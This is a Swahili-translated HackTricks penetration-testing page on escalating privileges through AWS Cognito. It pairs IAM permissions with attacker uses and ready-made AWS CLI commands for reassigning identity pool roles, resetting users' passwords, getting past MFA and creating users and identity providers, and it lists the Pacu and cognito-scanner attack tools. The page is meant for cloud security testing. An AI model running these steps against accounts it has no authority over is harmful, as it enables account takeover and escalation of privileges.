AWS - Cognito Privesc

Support HackTricks

Cognito

Kwa maelezo zaidi kuhusu Cognito angalia:

Kukusanya akreditif kutoka kwa Identity Pool

Kama Cognito inaweza kutoa IAM role credentials kwa watumiaji walioidhinishwa na wasioidhinishwa, ikiwa utapata Identity Pool ID ya programu (inapaswa kuwa imeandikwa ndani yake) unaweza kupata akreditif mpya na hivyo privesc (ndani ya akaunti ya AWS ambapo huenda hukuwahi kuwa na akreditif yoyote hapo awali).

Kwa maelezo zaidi angalia ukurasa huu.

Athari Zinazoweza Kutokea: Privesc moja kwa moja kwa huduma ya jukumu iliyoambatanishwa na watumiaji wasioidhinishwa (na huenda kwa ile iliyoambatanishwa na watumiaji walioidhinishwa).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Kwa ruhusa hii unaweza kutoa jukumu lolote la cognito kwa watumiaji walioidhinishwa/wasioidhinishwa wa programu ya cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Ikiwa programu ya cognito haijawa na watumiaji wasio na uthibitisho unaweza pia kuhitaji ruhusa cognito-identity:UpdateIdentityPool ili kuifanya iweze.

Athari Zinazoweza Kutokea: Privesc ya moja kwa moja kwa jukumu lolote la cognito.

cognito-identity:update-identity-pool

Mshambuliaji mwenye ruhusa hii anaweza kuweka kwa mfano Pool ya Watumiaji wa Cognito chini ya udhibiti wake au mtoa huduma mwingine wa utambulisho ambapo anaweza kuingia kama njia ya kufikia Pool hii ya Utambulisho wa Cognito. Kisha, tu ingia kwenye mtoa huduma huyo wa mtumiaji itamruhusu kuweza kufikia jukumu lililowekwa la kuthibitishwa katika Pool ya Utambulisho.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Ni pia inawezekana kudhulumu ruhusa hii kuruhusu uthibitishaji wa msingi:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Madhara Yanayoweza Kutokea: Kuathiri jukumu la IAM lililothibitishwa lililowekwa ndani ya mchanganyiko wa utambulisho.

cognito-idp:AdminAddUserToGroup

Ruhusa hii inaruhusu kuongeza mtumiaji wa Cognito kwenye kundi la Cognito, hivyo mshambuliaji anaweza kutumia ruhusa hii kuongeza mtumiaji chini ya udhibiti wake kwenye makundi mengine yenye haki bora au majukumu tofauti ya IAM:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Madhara Yanayoweza Kutokea: Privesc kwa vikundi vingine vya Cognito na majukumu ya IAM yaliyounganishwa na Vikundi vya User Pool.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Mshambuliaji mwenye ruhusa hizi anaweza kuunda/kusasisha vikundi na kila jukumu la IAM ambalo linaweza kutumika na Mtoa Huduma wa Utambulisho wa Cognito aliyeathirika na kumfanya mtumiaji aliyeathirika kuwa sehemu ya kikundi, akipata ufikiaji wa majukumu yote hayo:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Madhara Yanayoweza Kutokea: Privesc kwa majukumu mengine ya Cognito IAM.

cognito-idp:AdminConfirmSignUp

Ruhusa hii inaruhusu kuhakiki usajili. Kwa kawaida, mtu yeyote anaweza kuingia kwenye programu za Cognito, ikiwa hiyo itaachwa, mtumiaji anaweza kuunda akaunti kwa data yoyote na kuithibitisha kwa ruhusa hii.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa ikiwa unaweza kujiandikisha kama mtumiaji mpya. Privesc isiyo ya moja kwa moja kwa kazi nyingine za programu kwa kuwa na uwezo wa kuthibitisha akaunti yoyote.

cognito-idp:AdminCreateUser

Ruhusa hii itamruhusu mshambuliaji kuunda mtumiaji mpya ndani ya mchanganyiko wa watumiaji. Mtumiaji mpya anaundwa kama aliyewezeshwa, lakini atahitaji kubadilisha nenosiri lake.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa. Privesc isiyo ya moja kwa moja kwa kazi nyingine za programu kwa uwezo wa kuunda mtumiaji yeyote.

cognito-idp:AdminEnableUser

Ruhusa hii inaweza kusaidia katika hali ya kipekee ambapo mshambuliaji amepata akidi za mtumiaji aliyezuiliwa na anahitaji kuwezesha tena.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Madhara Yanayoweza Kutokea: Privesc isiyo ya moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa na ruhusa za mtumiaji ikiwa mshambuliaji alikuwa na akidi za mtumiaji aliyezuiliwa.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Ruhusa hii inaruhusu kuingia kwa kutumia mbinu ADMIN_USER_PASSWORD_AUTH. Kwa maelezo zaidi fuata kiungo.

cognito-idp:AdminSetUserPassword

Ruhusa hii ingemruhusu mshambuliaji kubadilisha nenosiri la mtumiaji yeyote, na kumfanya aweze kujifanya kama mtumiaji yeyote (ambaye hana MFA iliyoanzishwa).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Madhara Yanayoweza Kutokea: Privesc ya moja kwa moja kwa mtumiaji yeyote, hivyo kupata ufikiaji wa vikundi vyote ambavyo kila mtumiaji ni mwanachama na ufikiaji wa jukumu la IAM lililothibitishwa la Identity Pool.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Mshambuliaji anaweza kutumia ruhusa hii vibaya kuweka simu ya mkononi chini ya udhibiti wake kama SMS MFA ya mtumiaji.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Kufanana na ile ya awali, ruhusa hii inaweza kutumika kuweka upendeleo wa MFA wa mtumiaji ili kupita ulinzi wa MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Kufanana na ile ya awali, ruhusa hii inaweza kutumika kuweka mapendeleo ya MFA ya mzunguko wa mtumiaji ili kupita ulinzi wa MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Pia inawezekana kuboresha mzunguko wa watumiaji kubadilisha sera ya MFA. Angalia cli hapa.

Potential Impact: Privesc isiyo ya moja kwa moja kwa mtumiaji yeyote ambaye mshambuliaji anajua akidi zake, hii inaweza kuruhusu kupita ulinzi wa MFA.

cognito-idp:AdminUpdateUserAttributes

Mshambuliaji mwenye ruhusa hii anaweza kubadilisha barua pepe au nambari ya simu au sifa nyingine yoyote ya mtumiaji chini ya udhibiti wake ili kujaribu kupata ruhusa zaidi katika programu ya chini. Hii inaruhusu kubadilisha barua pepe au nambari ya simu na kuipatia kama iliyothibitishwa.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Madhara Yanayoweza Kutokea: Madhara ya moja kwa moja ya privesc katika programu ya msingi inayotumia Cognito User Pool ambayo inatoa mamlaka kulingana na sifa za mtumiaji.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Mshambuliaji mwenye ruhusa hii anaweza kuunda Mteja Mpya wa User Pool ambao haujawekewa vizuizi kuliko wateja wa pool waliopo tayari. Kwa mfano, mteja mpya anaweza kuruhusu aina yoyote ya mbinu ya kuthibitisha, asiwe na siri yoyote, kuwa na kufutwa kwa token kuliwekwa kuzuiwa, kuruhusu token kuwa halali kwa muda mrefu zaidi...

Ile ile inaweza kufanywa ikiwa badala ya kuunda mteja mpya, mteja aliyopo anabadilishwa.

Katika mistari ya amri (au sasisha moja) unaweza kuona chaguzi zote, angalia!

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Madhara Yanayoweza Kutokea: Madhara ya moja kwa moja ya privesc kwa mtumiaji aliyeidhinishwa wa Identity Pool anayetumiwa na User Pool kwa kuunda mteja mpya ambao unarefusha hatua za usalama na kufanya iwezekane kwa mshambuliaji kuingia na mtumiaji aliyeweza kuunda.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Mshambuliaji anaweza kutumia ruhusa hii kuunda watumiaji kwa kupakia csv yenye watumiaji wapya.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(Katika kesi ambapo unaunda kazi mpya ya kuagiza huenda ukahitaji ruhusa ya iam passrole, sijajaribu bado).

Athari Zinazoweza Kutokea: Privesc ya moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa. Privesc ya moja kwa moja kwa kazi nyingine za programu kwa uwezo wa kuunda mtumiaji yeyote.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Mshambuliaji anaweza kuunda mtoa huduma mpya wa utambulisho ili kisha aweze kuingia kupitia mtoa huduma huyu.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Madhara Yanayoweza Kutokea: Privesc moja kwa moja kwa jukumu la IAM la mchanganyiko wa utambulisho kwa watumiaji walioidhinishwa. Privesc isiyo ya moja kwa moja kwa kazi nyingine za programu kwa uwezo wa kuunda mtumiaji yeyote.

cognito-sync:* Uchambuzi

Hii ni ruhusa ya kawaida sana kwa msingi katika majukumu ya Mchanganyiko wa Utambulisho wa Cognito. Hata kama wildcard katika ruhusa daima inaonekana mbaya (hasa ikitoka kwa AWS), ruhusa zilizotolewa si za manufaa sana kutoka kwa mtazamo wa washambuliaji.

Ruhusa hii inaruhusu kusoma taarifa za matumizi ya Mchanganyiko wa Utambulisho na Vitambulisho vya Utambulisho ndani ya Mchanganyiko wa Utambulisho (ambayo si taarifa nyeti). Vitambulisho vya Utambulisho vinaweza kuwa na Datasets vilivyotolewa kwao, ambavyo ni taarifa za vikao (AWS inaviita kama mchezo uliohifadhiwa). Inaweza kuwa na uwezekano kwamba hii ina aina fulani ya taarifa nyeti (lakini uwezekano ni mdogo sana). Unaweza kupata katika ukurasa wa orodha jinsi ya kufikia taarifa hii.

Mshambuliaji pia anaweza kutumia ruhusa hizi ku jiandikishe kwenye mtiririko wa Cognito unaochapisha mabadiliko kwenye datasets hizi au lambda inayosababisha kwenye matukio ya cognito. Sijawahi kuona hii ikitumika, na sitarajii taarifa nyeti hapa, lakini si haiwezekani.

Zana za Kiotomatiki

  • Pacu, mfumo wa unyakuzi wa AWS, sasa unajumuisha moduli za "cognito__enum" na "cognito__attack" ambazo zinafanya otomatiki orodha ya mali zote za Cognito katika akaunti na kuashiria usanidi dhaifu, sifa za mtumiaji zinazotumika kwa udhibiti wa ufikiaji, nk., na pia zinafanya otomatiki uundaji wa mtumiaji (ikiwemo msaada wa MFA) na kupandisha hadhi kulingana na sifa za kawaida zinazoweza kubadilishwa, sifa za mchanganyiko wa utambulisho zinazoweza kutumika, majukumu yanayoweza kuchukuliwa katika vitambulisho vya id, nk.

Kwa maelezo ya kazi za moduli angalia sehemu ya 2 ya chapisho la blogi. Kwa maelekezo ya usakinishaji angalia ukurasa mkuu wa Pacu.

Matumizi

Mfano wa matumizi ya cognito__attack kujaribu uundaji wa mtumiaji na njia zote za privesc dhidi ya mchanganyiko wa utambulisho na mteja wa mchanganyiko wa mtumiaji:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Sample cognito__enum matumizi ya kukusanya kila mzunguko wa mtumiaji, wateja wa mzunguko wa mtumiaji, mizunguko ya utambulisho, watumiaji, nk. wanaoonekana katika akaunti ya sasa ya AWS:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner ni chombo cha CLI katika python ambacho kinatekeleza mashambulizi tofauti kwenye Cognito ikiwa ni pamoja na kupanda hadhi.

Installation

$ pip install cognito-scanner

Matumizi

$ cognito-scanner --help

Kwa maelezo zaidi angalia https://github.com/padok-team/cognito-scanner

Support HackTricks

Last updated